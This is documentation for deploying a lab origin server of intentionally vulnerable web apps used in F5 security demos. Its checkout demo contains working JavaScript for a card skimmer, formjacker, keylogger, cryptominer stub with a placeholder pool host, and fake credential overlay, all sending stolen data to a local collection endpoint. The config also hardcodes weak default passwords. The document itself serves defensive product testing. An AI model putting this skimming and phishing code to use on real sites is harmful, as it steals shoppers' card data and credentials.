location /restaurant/ { proxy_pass http://restaurant/; proxy_http_version 1.1; proxy_set_header Connection ""; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header X-Forwarded-Proto $scheme; } }
server { listen 8888; server_name _;
location /health { access_log off; return 200 '{"status":"healthy","component":"crapi"}'; add_header Content-Type application/json; }
location / { proxy_pass http://127.0.0.1:18888; proxy_http_version 1.1; proxy_set_header Connection ""; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header X-Forwarded-Proto $scheme; } }
- path: /var/www/html/index.html content: | <!DOCTYPE html> <html> <head><title>Origin Server</title></head> <body> <h1>Origin Server</h1> <p>Vulnerable web application origin server for F5 XC demo environments.</p> <ul> <li><a href="/juice-shop/">Juice Shop</a> - OWASP Top 10 (XSS, SQLi, CSRF)</li> <li><a href="/dvwa/">DVWA</a> - WAF testing (adjustable difficulty)</li> <li><a href="/vampi/">VAmPI</a> - REST API security (OWASP API Top 10)</li> <li><a href="/httpbin/">httpbin</a> - HTTP request/response testing</li> <li><a href="/whoami/">whoami</a> - Request diagnostics (headers, IP, hostname)</li> <li><a href="/csd-demo/">CSD Demo</a> - Client-Side Defense testing (skimming, formjacking)</li> <li><a href="/dvga/">DVGA</a> - GraphQL security (introspection, batching, injection)</li> <li><a href="/restaurant/">RESTaurant</a> - REST API security (OWASP API Top 10 2023)</li> <li><a href="javascript:void(0)" onclick="window.open('http://'+location.hostname+':8888','_blank')">crAPI</a> - Microservices API security (BOLA, BFLA, SSRF)</li> </ul> <p><a href="/health">Health Check</a></p> </body> </html>
- path: /opt/origin-server/dvwa-fpm/Dockerfile content: | FROM ghcr.io/digininja/dvwa:latest AS dvwa-src FROM php:8-fpm RUN apt-get update && apt-get install -y --no-install-recommends nginx \ libpng-dev libjpeg62-turbo-dev libfreetype6-dev zlib1g-dev \ && docker-php-ext-configure gd --with-freetype --with-jpeg \ && docker-php-ext-install mysqli pdo pdo_mysql gd \ && rm -rf /var/lib/apt/lists/* COPY --from=dvwa-src /var/www/html /var/www/html RUN cp /var/www/html/config/config.inc.php.dist /var/www/html/config/config.inc.php \ && chown -R www-data:www-data /var/www/html COPY nginx.conf /etc/nginx/sites-available/default RUN ln -sf /etc/nginx/sites-available/default /etc/nginx/sites-enabled/default COPY www.conf /usr/local/etc/php-fpm.d/www.conf COPY entrypoint.sh /entrypoint.sh RUN chmod +x /entrypoint.sh EXPOSE 80 CMD ["/entrypoint.sh"]
- path: /opt/origin-server/dvwa-fpm/nginx.conf content: | server { listen 80; server_name _; root /var/www/html; index index.php index.html;
location / { try_files $uri $uri/ /index.php?$args; }
location ~ \.php$ { fastcgi_pass 127.0.0.1:9000; fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; include fastcgi_params; fastcgi_read_timeout 30; fastcgi_buffer_size 32k; fastcgi_buffers 16 32k; } }
- path: /opt/origin-server/dvwa-fpm/www.conf content: | [www] user = www-data group = www-data listen = 127.0.0.1:9000 pm = dynamic pm.max_children = 32 pm.start_servers = 8 pm.min_spare_servers = 4 pm.max_spare_servers = 16 pm.max_requests = 200 request_terminate_timeout = 30
- path: /opt/origin-server/dvwa-fpm/entrypoint.sh permissions: "0755" content: | #!/bin/sh sed -i "s/\$_DVWA\[ 'db_server' \].*/\$_DVWA[ 'db_server' ] = getenv('DB_SERVER') ?: '127.0.0.1';/" /var/www/html/config/config.inc.php sed -i "s/\$_DVWA\[ 'db_database' \].*/\$_DVWA[ 'db_database' ] = getenv('DB_DATABASE') ?: 'dvwa';/" /var/www/html/config/config.inc.php sed -i "s/\$_DVWA\[ 'db_user' \].*/\$_DVWA[ 'db_user' ] = getenv('DB_USER') ?: 'dvwa';/" /var/www/html/config/config.inc.php sed -i "s/\$_DVWA\[ 'db_password' \].*/\$_DVWA[ 'db_password' ] = getenv('DB_PASSWORD') ?: 'p@ssw0rd';/" /var/www/html/config/config.inc.php php-fpm -D nginx -g 'daemon off;'
- path: /opt/origin-server/vampi-gunicorn.sh permissions: "0755" content: | #!/bin/sh cd /vampi pip install -q gunicorn 2>/dev/null python -c " from config import db, vuln_app with vuln_app.app.app_context(): db.create_all() " exec gunicorn -b 0.0.0.0:5000 "config:vuln_app" -w 2 --timeout 30
- path: /opt/origin-server/csd-demo/Dockerfile content: | FROM python:3.12-slim WORKDIR /app RUN pip install --no-cache-dir flask gunicorn gevent COPY app.py . COPY templates/ templates/ EXPOSE 5001 CMD ["gunicorn", "-b", "0.0.0.0:5001", "app:app", "-w", "1", "-k", "gevent", "--timeout", "30"]
- path: /opt/origin-server/csd-demo/app.py content: | from datetime import datetime, timezone
from flask import Flask, jsonify, render_template, request
app = Flask(__name__)
exfiltrated_data = []
@app.route("/") def checkout(): return render_template("checkout.html")
@app.route("/dashboard") def dashboard(): return render_template("dashboard.html", entries=exfiltrated_data)
@app.route("/exfil", methods=["POST", "GET"]) def exfil(): entry = { "timestamp": datetime.now(timezone.utc).isoformat(), "source_ip": request.remote_addr, "user_agent": request.headers.get("User-Agent", ""), "attack_type": request.args.get("type", "unknown"), } if request.is_json: entry["payload"] = request.get_json(silent=True) elif request.args.get("d"): entry["payload"] = request.args.get("d") else: entry["payload"] = request.get_data(as_text=True) exfiltrated_data.append(entry) return jsonify({"status": "received"})
@app.route("/exfil/log") def exfil_log(): return jsonify(exfiltrated_data)
@app.route("/exfil/clear", methods=["POST"]) def exfil_clear(): exfiltrated_data.clear() return jsonify({"status": "cleared"})
@app.route("/health") def health(): return jsonify( { "status": "healthy", "component": "csd-demo", "attacks": [ "skimmer", "formjacker", "keylogger", "cryptominer", "dom-hijack", ], } )
if __name__ == "__main__": app.run(host="0.0.0.0", port=5001, debug=False)
- path: /opt/origin-server/csd-demo/templates/checkout.html content: | <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <title>ShopDemo - Checkout</title> <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.3/dist/css/bootstrap.min.css" rel="stylesheet"> <style> .attack-panel { position: fixed; top: 10px; right: 10px; z-index: 9999; width: 320px; font-size: 0.85rem; } .attack-panel .card { border: 2px solid #dc3545; } .attack-toggle { cursor: pointer; } .attack-active { background-color: #f8d7da; } .exfil-indicator { display: none; position: fixed; bottom: 20px; right: 20px; z-index: 9999; background: #dc3545; color: white; padding: 8px 16px; border-radius: 4px; font-size: 0.8rem; } .exfil-indicator.show { display: block; animation: pulse 1s infinite; } @keyframes pulse { 0%,100% { opacity: 1; } 50% { opacity: 0.5; } } .product-img { width: 80px; height: 80px; background: #e9ecef; border-radius: 8px; display: flex; align-items: center; justify-content: center; font-size: 2rem; } </style> </head> <body class="bg-light">
<!-- Attack Control Panel (visible to demo operator) --> <div class="attack-panel" id="attackPanel"> <div class="card shadow"> <div class="card-header bg-danger text-white d-flex justify-content-between align-items-center"> <strong>Attack Simulator</strong> <button class="btn btn-sm btn-outline-light" onclick="togglePanel()">_</button> </div> <div class="card-body" id="panelBody"> <p class="text-muted mb-2">Toggle attacks to demonstrate what F5 CSD detects:</p>
<div class="form-check form-switch mb-2"> <input class="form-check-input attack-toggle" type="checkbox" id="toggleSkimmer"> <label class="form-check-label" for="toggleSkimmer"> <strong>Card Skimmer</strong><br> <small class="text-muted">Steals CC data on form submit (Magecart)</small> </label> </div>
<div class="form-check form-switch mb-2"> <input class="form-check-input attack-toggle" type="checkbox" id="toggleFormjacker"> <label class="form-check-label" for="toggleFormjacker"> <strong>Formjacker</strong><br> <small class="text-muted">Hijacks form action to attacker endpoint</small> </label> </div>
<div class="form-check form-switch mb-2"> <input class="form-check-input attack-toggle" type="checkbox" id="toggleKeylogger"> <label class="form-check-label" for="toggleKeylogger"> <strong>Keylogger</strong><br> <small class="text-muted">Captures keystrokes in real time</small> </label> </div>
<div class="form-check form-switch mb-2"> <input class="form-check-input attack-toggle" type="checkbox" id="toggleCryptominer"> <label class="form-check-label" for="toggleCryptominer"> <strong>Cryptominer</strong><br> <small class="text-muted">Simulates CPU-intensive mining script</small> </label> </div>
<div class="form-check form-switch mb-2"> <input class="form-check-input attack-toggle" type="checkbox" id="toggleDomHijack"> <label class="form-check-label" for="toggleDomHijack"> <strong>DOM Hijack</strong><br> <small class="text-muted">Injects fake overlay form to steal PII</small> </label> </div>
<hr> <div class="d-flex gap-2"> <a href="/dashboard" class="btn btn-sm btn-outline-danger" target="_blank">Attacker Dashboard</a> <button class="btn btn-sm btn-outline-secondary" onclick="clearLog()">Clear Log</button> </div> <div id="exfilCount" class="mt-2 text-muted small"></div> </div> </div> </div>
<!-- Exfiltration Indicator --> <div class="exfil-indicator" id="exfilIndicator">Data exfiltrated to attacker</div>
<!-- Main Checkout Page --> <div class="container py-5" style="max-width: 960px;"> <div class="text-center mb-4"> <h2>ShopDemo Checkout</h2> <p class="text-muted">Complete your purchase — this is a simulated e-commerce checkout for CSD testing.</p> </div>
<!-- Order Summary --> <div class="card mb-4"> <div class="card-body"> <h5 class="card-title">Order Summary</h5> <div class="d-flex align-items-center mb-3"> <div class="product-img me-3">💻</div> <div class="flex-grow-1"> <strong>Premium Widget Pro</strong><br> <small class="text-muted">SKU: WDG-PRO-2024 · Qty: 1</small> </div> <strong>$149.99</strong> </div> <div class="d-flex align-items-center mb-3"> <div class="product-img me-3">📡</div> <div class="flex-grow-1"> <strong>Widget Accessory Pack</strong><br> <small class="text-muted">SKU: WDG-ACC-100 · Qty: 2</small> </div> <strong>$39.98</strong> </div> <hr> <div class="d-flex justify-content-between"> <span>Subtotal</span><span>$189.97</span> </div> <div class="d-flex justify-content-between"> <span>Shipping</span><span>$9.99</span> </div> <div class="d-flex justify-content-between"> <span>Tax</span><span>$16.15</span> </div> <hr> <div class="d-flex justify-content-between"> <strong>Total</strong><strong>$216.11</strong> </div> </div> </div>
<!-- Checkout Form --> <form id="checkoutForm" action="/checkout-complete" method="POST">
<div class="card mb-4"> <div class="card-body"> <h5 class="card-title">Billing Information</h5> <div class="row g-3"> <div class="col-md-6"> <label for="firstName" class="form-label">First name</label> <input type="text" class="form-control" id="firstName" name="firstName" placeholder="John" required> </div> <div class="col-md-6"> <label for="lastName" class="form-label">Last name</label> <input type="text" class="form-control" id="lastName" name="lastName" placeholder="Smith" required> </div> <div class="col-12"> <label for="email" class="form-label">Email</label> <input type="email" class="form-control" id="email" name="email" placeholder="john.smith@example.com" required> </div> <div class="col-12"> <label for="phone" class="form-label">Phone</label> <input type="tel" class="form-control" id="phone" name="phone" placeholder="(555) 123-4567"> </div> <div class="col-12"> <label for="address" class="form-label">Address</label> <input type="text" class="form-control" id="address" name="address" placeholder="1234 Main St" required> </div> <div class="col-md-5"> <label for="city" class="form-label">City</label> <input type="text" class="form-control" id="city" name="city" placeholder="Seattle" required> </div> <div class="col-md-4"> <label for="state" class="form-label">State</label> <input type="text" class="form-control" id="state" name="state" placeholder="WA" required> </div> <div class="col-md-3"> <label for="zip" class="form-label">ZIP</label> <input type="text" class="form-control" id="zip" name="zip" placeholder="98101" required> </div> <div class="col-12"> <label for="ssn" class="form-label">SSN <small class="text-muted">(for financing — optional)</small></label> <input type="text" class="form-control" id="ssn" name="ssn" placeholder="XXX-XX-XXXX"> </div> </div> </div> </div>
<div class="card mb-4"> <div class="card-body"> <h5 class="card-title">Payment Details</h5> <div class="row g-3"> <div class="col-12"> <label for="ccName" class="form-label">Name on card</label> <input type="text" class="form-control" id="ccName" name="ccName" placeholder="John Smith" required> </div> <div class="col-12"> <label for="ccNumber" class="form-label">Card number</label> <input type="text" class="form-control" id="ccNumber" name="ccNumber" placeholder="4111 1111 1111 1111" required> </div> <div class="col-md-4"> <label for="ccExpiry" class="form-label">Expiration</label> <input type="text" class="form-control" id="ccExpiry" name="ccExpiry" placeholder="MM/YY" required> </div> <div class="col-md-4"> <label for="ccCvv" class="form-label">CVV</label> <input type="text" class="form-control" id="ccCvv" name="ccCvv" placeholder="123" required> </div> </div> </div> </div>
<button class="btn btn-primary btn-lg w-100 mb-4" type="submit">Place Order — $216.11</button> </form>
<p class="text-center text-muted small"> This is a <strong>simulated checkout page</strong> for F5 Distributed Cloud Client-Side Defense testing. No real transactions are processed. All data stays on this server. </p> </div>
<!-- DOM Hijack Overlay (hidden by default) --> <div id="domHijackOverlay" style="display:none; position:fixed; top:0; left:0; width:100%; height:100%; background:rgba(0,0,0,0.7); z-index:10000; justify-content:center; align-items:center;"> <div style="background:white; padding:30px; border-radius:8px; max-width:400px; width:90%;"> <h5 style="color:#dc3545;">Session Expired</h5> <p>Please re-enter your credentials to continue:</p> <input type="text" class="form-control mb-2" id="hijackUser" placeholder="Username"> <input type="password" class="form-control mb-2" id="hijackPass" placeholder="Password"> <input type="text" class="form-control mb-2" id="hijackCC" placeholder="Card number for verification"> <button class="btn btn-danger w-100" onclick="submitHijack()">Verify Identity</button> </div> </div>
<script> const EXFIL_URL = "/exfil"; let activeAttacks = {}; let keystrokeBuffer = ""; let keystrokeTimer = null; let miningInterval = null;
function flashExfil() { const el = document.getElementById("exfilIndicator"); el.classList.add("show"); setTimeout(() => el.classList.remove("show"), 2000); }
function exfiltrate(type, data) { flashExfil(); fetch(EXFIL_URL + "?type=" + encodeURIComponent(type), { method: "POST", headers: {"Content-Type": "application/json"}, body: JSON.stringify(data) }); updateCount(); }
function updateCount() { fetch("/exfil/log").then(r => r.json()).then(d => { document.getElementById("exfilCount").textContent = d.length + " exfiltration(s) captured"; }); }
// ── Card Skimmer (Magecart-style) ── function enableSkimmer() { document.getElementById("checkoutForm").addEventListener("submit", skimmerHandler); } function disableSkimmer() { document.getElementById("checkoutForm").removeEventListener("submit", skimmerHandler); } function skimmerHandler(e) { const form = e.target; const data = {}; new FormData(form).forEach((v, k) => { data[k] = v; }); exfiltrate("skimmer", { description: "Magecart card skimmer — captured payment data on form submit", card_number: data.ccNumber, card_name: data.ccName, card_expiry: data.ccExpiry, card_cvv: data.ccCvv, email: data.email, billing_address: data.address + ", " + data.city + " " + data.state + " " + data.zip }); }
// ── Formjacker ── let originalAction = null; function enableFormjacker() { const form = document.getElementById("checkoutForm"); originalAction = form.action; form.action = EXFIL_URL + "?type=formjacker"; form.method = "POST"; } function disableFormjacker() { if (originalAction) { document.getElementById("checkoutForm").action = originalAction; } }
// ── Keylogger ── function enableKeylogger() { document.addEventListener("keydown", keylogHandler); } function disableKeylogger() { document.removeEventListener("keydown", keylogHandler); if (keystrokeTimer) clearTimeout(keystrokeTimer); keystrokeBuffer = ""; } function keylogHandler(e) { const target = e.target; const fieldId = target.id || target.name || "unknown"; keystrokeBuffer += e.key; if (keystrokeTimer) clearTimeout(keystrokeTimer); keystrokeTimer = setTimeout(() => { exfiltrate("keylogger", { description: "JavaScript keylogger — real-time keystroke capture", field: fieldId, keystrokes: keystrokeBuffer }); keystrokeBuffer = ""; }, 1500); }
// ── Cryptominer (simulated) ── function enableCryptominer() { exfiltrate("cryptominer", { description: "Cryptominer script loaded — simulating CPU-intensive mining", pool: "stratum+tcp://evil-pool.example.com:3333", wallet: "44AFFq5kSiGBoZ4NMDwYtN18NkMdYsKPmYHg...", status: "mining_started" }); miningInterval = setInterval(() => { let x = 0; for (let i = 0; i < 5000000; i++) { x += Math.sqrt(i) * Math.random(); } }, 100); } function disableCryptominer() { if (miningInterval) { clearInterval(miningInterval); miningInterval = null; } }
// ── DOM Hijack ── function enableDomHijack() { setTimeout(() => { document.getElementById("domHijackOverlay").style.display = "flex"; exfiltrate("dom-hijack", { description: "DOM manipulation — injected fake credential overlay", technique: "overlay_phishing", status: "overlay_displayed" }); }, 3000); } function disableDomHijack() { document.getElementById("domHijackOverlay").style.display = "none"; } function submitHijack() { exfiltrate("dom-hijack", { description: "DOM hijack — victim submitted credentials to fake overlay", username: document.getElementById("hijackUser").value, password: document.getElementById("hijackPass").value, card: document.getElementById("hijackCC").value }); document.getElementById("domHijackOverlay").style.display = "none"; }
// ── Toggle handlers ── const attacks = { toggleSkimmer: { enable: enableSkimmer, disable: disableSkimmer }, toggleFormjacker: { enable: enableFormjacker, disable: disableFormjacker }, toggleKeylogger: { enable: enableKeylogger, disable: disableKeylogger }, toggleCryptominer: { enable: enableCryptominer, disable: disableCryptominer }, toggleDomHijack: { enable: enableDomHijack, disable: disableDomHijack } };
Object.keys(attacks).forEach(id => { document.getElementById(id).addEventListener("change", function() { if (this.checked) { attacks[id].enable(); } else { attacks[id].disable(); } }); });
function togglePanel() { const body = document.getElementById("panelBody"); body.style.display = body.style.display === "none" ? "block" : "none"; }
function clearLog() { fetch("/exfil/clear", { method: "POST" }).then(() => updateCount()); }
updateCount(); </script> </body> </html>
- path: /opt/origin-server/csd-demo/templates/dashboard.html content: | <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <title>Attacker Dashboard - Exfiltrated Data</title> <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.3/dist/css/bootstrap.min.css" rel="stylesheet"> <style> body { background: #1a1a2e; color: #e0e0e0; font-family: monospace; } .card { background: #16213e; border-color: #0f3460; } .card-header { background: #0f3460; } .badge-skimmer { background: #dc3545; } .badge-formjacker { background: #fd7e14; } .badge-keylogger { background: #ffc107; color: #000; } .badge-cryptominer { background: #198754; } .badge-dom-hijack { background: #6f42c1; } pre { background: #0d1117; color: #58a6ff; padding: 10px; border-radius: 4px; font-size: 0.8rem; max-height: 200px; overflow-y: auto; } .header-bar { background: #dc3545; padding: 15px 0; margin-bottom: 20px; } </style> </head> <body> <div class="header-bar text-center"> <h4 class="text-white mb-0">Attacker C&C Dashboard</h4> <small class="text-white-50">Exfiltrated data from CSD demo checkout page</small> </div>
<div class="container-fluid px-4"> <div class="d-flex justify-content-between align-items-center mb-3"> <h5>Captured Data ({{ entries|length }} entries)</h5> <div> <button class="btn btn-sm btn-outline-light" onclick="location.reload()">Refresh</button> <button class="btn btn-sm btn-outline-danger" onclick="clearAndReload()">Clear All</button> </div> </div>
{% if entries %} {% for entry in entries|reverse %} <div class="card mb-3"> <div class="card-header d-flex justify-content-between align-items-center"> <span> <span class="badge badge-{{ entry.attack_type }}">{{ entry.attack_type }}</span> {{ entry.timestamp }} </span> <small>{{ entry.source_ip }}</small> </div> <div class="card-body"> <pre>{{ entry.payload | tojson(indent=2) if entry.payload is mapping else entry.payload }}</pre> </div> </div> {% endfor %} {% else %} <div class="text-center py-5"> <h5 class="text-muted">No data captured yet</h5> <p class="text-muted">Enable attacks on the checkout page and interact with the form.</p> </div> {% endif %} </div>
<script> function clearAndReload() { fetch("/exfil/clear", { method: "POST" }).then(() => location.reload()); } setTimeout(() => location.reload(), 5000); </script> </body> </html>
- path: /usr/local/lib/cloud-init-helpers.sh permissions: "0644" content: | #!/bin/sh PROGRESS_LOG="/var/log/cloud-init-progress.log" log_phase() { _p="$1"; shift; printf '[%s] [%s] %s\n' "$(date -u +%Y-%m-%dT%H:%M:%SZ)" "$_p" "$${*:-started}" | tee -a "$PROGRESS_LOG" >&2; } retry_cmd() { _m="$1"; _b="$2"; shift 2; _a=1; while [ "$_a" -le "$_m" ]; do if "$@"; then return 0; fi; [ "$_a" -lt "$_m" ] && { _w=$((_b*_a)); log_phase retry "$_a/$_m failed ($1) retry in $${_w}s"; sleep "$_w"; }; _a=$((_a+1)); done; log_phase retry "FAILED after $_m: $1"; return 1; } fetch_url() { log_phase fetch "$${3:-$1}"; retry_cmd 4 5 curl -fsSL --connect-timeout 15 --max-time 300 -o "$2" "$1"; } install_packages() { log_phase apt "installing: $*"; retry_cmd 3 10 apt-get install -y -o DPkg::Lock::Timeout=60 "$@"; } clone_repo() { log_phase git "cloning $1 -> $2"; retry_cmd 3 10 git clone --depth "$${3:-1}" --single-branch "$1" "$2"; } wait_for_http() { _u="$1"; _m="$2"; _d="$${3:-$1}"; log_phase health "waiting $_d (max $${_m}s)"; _e=0; while [ "$_e" -lt "$_m" ]; do curl -sf --max-time 5 "$_u" >/dev/null 2>&1 && { log_phase health "$_d ready $${_e}s"; return 0; }; sleep 5; _e=$((_e+5)); done; log_phase health "TIMEOUT $_d $${_m}s"; return 1; } wait_for_docker_health() { _c="$1"; _m="$2"; log_phase docker "waiting $_c (max $${_m}s)"; _e=0; while [ "$_e" -lt "$_m" ]; do _s=$(docker inspect -f '{{.State.Health.Status}}' "$_c" 2>/dev/null||echo missing); case "$_s" in healthy) log_phase docker "$_c healthy $${_e}s"; return 0;; unhealthy) log_phase docker "$_c unhealthy"; return 1;; esac; sleep 5; _e=$((_e+5)); done; log_phase docker "TIMEOUT $_c $${_m}s"; return 1; }
runcmd: - | . /usr/local/lib/cloud-init-helpers.sh log_phase "init" "origin-server provisioning started" # Enable sysstat collection (sar history) - sed -i 's/ENABLED="false"/ENABLED="true"/' /etc/default/sysstat - systemctl enable sysstat - systemctl restart sysstat # Kernel tuning - sysctl -p /etc/sysctl.d/99-origin-server.conf || exit 1 # Docker - | . /usr/local/lib/cloud-init-helpers.sh log_phase "docker-install" "installing Docker Engine" install -m 0755 -d /etc/apt/keyrings fetch_url "https://download.docker.com/linux/ubuntu/gpg" /etc/apt/keyrings/docker.asc "Docker GPG key" chmod a+r /etc/apt/keyrings/docker.asc echo "deb [arch=$(dpkg --print-architecture) signed-by=/etc/apt/keyrings/docker.asc] https://download.docker.com/linux/ubuntu $(. /etc/os-release && echo "$VERSION_CODENAME") stable" > /etc/apt/sources.list.d/docker.list retry_cmd 3 10 apt-get update install_packages docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin systemctl enable docker systemctl start docker log_phase "docker-install" "Docker Engine installed" - systemctl daemon-reload - ln -sf /etc/nginx/sites-available/origin-server /etc/nginx/sites-enabled/origin-server - rm -f /etc/nginx/sites-enabled/default - nginx -t || exit 1 - systemctl enable nginx # Clone RESTaurant API repo for build - apt-get install -y git - | . /usr/local/lib/cloud-init-helpers.sh clone_repo "https://github.com/theowni/Damn-Vulnerable-RESTaurant-API-Game.git" /opt/origin-server/restaurant # Build custom images and start all containers - | . /usr/local/lib/cloud-init-helpers.sh log_phase "docker-build" "building custom images" cd /opt/origin-server && retry_cmd 3 30 docker compose build || exit 1 log_phase "docker-up" "starting 41 containers" cd /opt/origin-server && docker compose up -d || exit 1 - | . /usr/local/lib/cloud-init-helpers.sh log_phase "health-check" "waiting for application containers" for ctr in crapi-postgres crapi-mongo crapi-mailhog; do wait_for_docker_health "$ctr" 120 done for ctr in crapi-identity crapi-community crapi-workshop crapi-web; do wait_for_docker_health "$ctr" 180 done wait_for_http "http://127.0.0.1:3001" 120 "juice-shop" wait_for_http "http://127.0.0.1:5101/api/v1/users" 120 "vampi" wait_for_http "http://127.0.0.1:8201" 120 "httpbin" wait_for_http "http://127.0.0.1:8082" 120 "whoami" log_phase "health-check" "all containers ready" # DVWA database setup (create tables via HTTP setup endpoint) - | for i in $(seq 1 30); do docker exec dvwa-db mysqladmin ping -u root -proot_password 2>/dev/null && break sleep 2 done - | . /usr/local/lib/cloud-init-helpers.sh TOKEN=$(curl -sf http://127.0.0.1:8101/setup.php | grep -oP "user_token.*?value='\K[a-f0-9]+" | head -1) if [ -z "$TOKEN" ]; then log_phase "warning" "empty DVWA token — skipping database setup"; else curl -sf -X POST http://127.0.0.1:8101/setup.php -d "create_db=Create+%2F+Reset+Database&user_token=$${TOKEN}" -c /tmp/dvwa-setup -b /tmp/dvwa-setup fi - systemctl restart nginx - | . /usr/local/lib/cloud-init-helpers.sh log_phase "complete" "origin-server provisioned"เอาต์พุต
หัวข้อที่มีชื่อว่า “เอาต์พุต”outputs.tf เผยแพร่เอาต์พุต 25 รายการตามมาตรฐาน Demo Resource Standard — เอาต์พุตมาตรฐาน 15 รายการที่ใช้ร่วมกันโดยทรัพยากรสาธิตทั้งหมด (deployer, public_ip, private_ip, ssh_command, resource_group_name, vm_name, nsg_name, vnet_name, subnet_id, component, environment, resource_group_id, vm_id, nsg_id, location) บวกกับ URL แอปพลิเคชันเฉพาะส่วนประกอบ 10 รายการ (origin_url, health_check_url, juice_shop_url, dvwa_url, vampi_url, httpbin_url, whoami_url, dvga_url, restaurant_url, crapi_url):
# ---------------------------------------------------------# Standard Outputs (present in every demo resource)# ---------------------------------------------------------
output "deployer" { description = "Resolved deployer identifier" value = local.deployer}
output "resource_group_name" { description = "Name of the resource group" value = azurerm_resource_group.main.name}
output "resource_group_id" { description = "Resource ID of the resource group" value = azurerm_resource_group.main.id}
output "location" { description = "Azure region" value = azurerm_resource_group.main.location}
output "public_ip" { description = "Public IP address of the VM" value = azurerm_public_ip.main.ip_address}
output "private_ip" { description = "Private IP address of the VM" value = azurerm_network_interface.main.private_ip_address}
output "ssh_command" { description = "SSH command to connect to the VM" value = "ssh ${var.admin_username}@${azurerm_public_ip.main.ip_address}"}
output "vm_name" { description = "Name of the virtual machine" value = azurerm_linux_virtual_machine.main.name}
output "vm_id" { description = "Resource ID of the virtual machine" value = azurerm_linux_virtual_machine.main.id}
output "nsg_name" { description = "Name of the network security group" value = azurerm_network_security_group.main.name}
output "nsg_id" { description = "Resource ID of the network security group" value = azurerm_network_security_group.main.id}
output "vnet_name" { description = "Name of the virtual network" value = azurerm_virtual_network.main.name}
output "subnet_id" { description = "Resource ID of the subnet" value = azurerm_subnet.main.id}
output "component" { description = "Component name" value = local.component}
output "environment" { description = "Environment label" value = var.environment}
# ---------------------------------------------------------# Component-Specific Outputs# ---------------------------------------------------------
output "origin_url" { description = "Base HTTP URL of the origin server" value = "http://${azurerm_public_ip.main.ip_address}"}
output "health_check_url" { description = "Health check endpoint" value = "http://${azurerm_public_ip.main.ip_address}/health"}
output "juice_shop_url" { description = "OWASP Juice Shop URL" value = "http://${azurerm_public_ip.main.ip_address}/juice-shop/"}
output "dvwa_url" { description = "DVWA URL" value = "http://${azurerm_public_ip.main.ip_address}/dvwa/"}
output "vampi_url" { description = "VAmPI URL" value = "http://${azurerm_public_ip.main.ip_address}/vampi/"}
output "httpbin_url" { description = "httpbin URL" value = "http://${azurerm_public_ip.main.ip_address}/httpbin/"}
output "whoami_url" { description = "whoami request diagnostics URL" value = "http://${azurerm_public_ip.main.ip_address}/whoami/"}
output "dvga_url" { description = "DVGA GraphQL security URL" value = "http://${azurerm_public_ip.main.ip_address}/dvga/"}
output "restaurant_url" { description = "RESTaurant API security URL" value = "http://${azurerm_public_ip.main.ip_address}/restaurant/"}
output "crapi_url" { description = "crAPI microservices security URL" value = "http://${azurerm_public_ip.main.ip_address}:8888"}ตัวอย่างไฟล์ตัวแปร
หัวข้อที่มีชื่อว่า “ตัวอย่างไฟล์ตัวแปร”คัดลอก terraform.tfvars.example ไปยัง terraform.tfvars และกรอกค่าของคุณ ไฟล์ .gitignore ยกเว้น terraform.tfvars เพื่อป้องกันการ commit ข้อมูลประจำตัว:
# Copy this file to terraform.tfvars and fill in your values.# terraform.tfvars is gitignored — never commit real credentials.
# --- Required ---subscription_id = "00000000-0000-0000-0000-000000000000"
# --- Optional overrides (defaults shown) ---# deployer = "" # auto-resolved from Azure AD# location = "eastus2"# environment = "lab"# vm_size = "Standard_D16s_v3"# disk_size_gb = 60# admin_username = "azureuser"# ssh_public_key_path = "~/.ssh/id_ed25519.pub"# tags = {}ปรับใช้งาน
หัวข้อที่มีชื่อว่า “ปรับใช้งาน”cp terraform.tfvars.example terraform.tfvars# Edit terraform.tfvars with your Azure subscription ID and SSH key path
terraform init
terraform plan
terraform applyTerraform แสดง IP สาธารณะ, คำสั่ง SSH, และ URL แอปพลิเคชันหลังจากปรับใช้งานสำเร็จ
หลังการปรับใช้งาน
หัวข้อที่มีชื่อว่า “หลังการปรับใช้งาน”หลังจาก terraform apply เสร็จสมบูรณ์ ให้รอ 5—10 นาทีเพื่อให้ cloud-init ติดตั้ง Docker, ดึง container image, และกำหนดค่า nginx เสร็จสิ้น การดึง Docker image เป็นคอขวด — Juice Shop เพียงอย่างเดียวมีขนาด ~400 MiB
ตรวจสอบ endpoint สุขภาพ:
curl -s "http://$(terraform output -raw public_ip)/health" | jq .การตอบกลับที่คาดหวัง:
{ "status": "healthy", "component": "origin-server", "applications": ["juice-shop", "dvwa", "vampi", "httpbin", "whoami", "csd-demo", "dvga", "restaurant", "crapi"]}การตั้งค่าฐานข้อมูล DVWA
หัวข้อที่มีชื่อว่า “การตั้งค่าฐานข้อมูล DVWA”DVWA ต้องการการเริ่มต้นฐานข้อมูลครั้งเดียว เปิด http://<PUBLIC_IP>/dvwa/setup.php ในเบราว์เซอร์และคลิก Create / Reset Database ข้อมูลประจำตัวเริ่มต้นคือ admin / password
การเชื่อมต่อกับส่วนประกอบปลายทาง
หัวข้อที่มีชื่อว่า “การเชื่อมต่อกับส่วนประกอบปลายทาง”หลังการปรับใช้งาน ส่วนประกอบอื่นๆ จะใช้เอาต์พุตของเซิร์ฟเวอร์ต้นทางเป็นอินพุตของตนเอง:
# CDN Simulator — pass origin-server's public IP as its upstreamcd ../cdn-simulator/terraformorigin_ip=$(cd ../../origin-server/terraform && terraform output -raw public_ip)cat > terraform.tfvars <<EOFsubscription_id = "your-subscription-id"origin_server = "http://${origin_ip}"origin_host = "${origin_ip}:80"EOF
# Traffic Generator — pass the F5 XC load balancer FQDN (not the origin IP directly)cd ../traffic-generator/terraformcat > terraform.tfvars <<EOFsubscription_id = "your-subscription-id"target_fqdn = "your-xc-load-balancer.example.com"EOF| เอาต์พุต | ส่วนประกอบปลายทาง | ตัวแปรอินพุต |
|---|---|---|
public_ip | ตัวจำลอง CDN | origin_server (พร้อม prefix http://) |
public_ip | ตัวจำลอง CDN | origin_host (พร้อม suffix :80, ไม่มี scheme) |
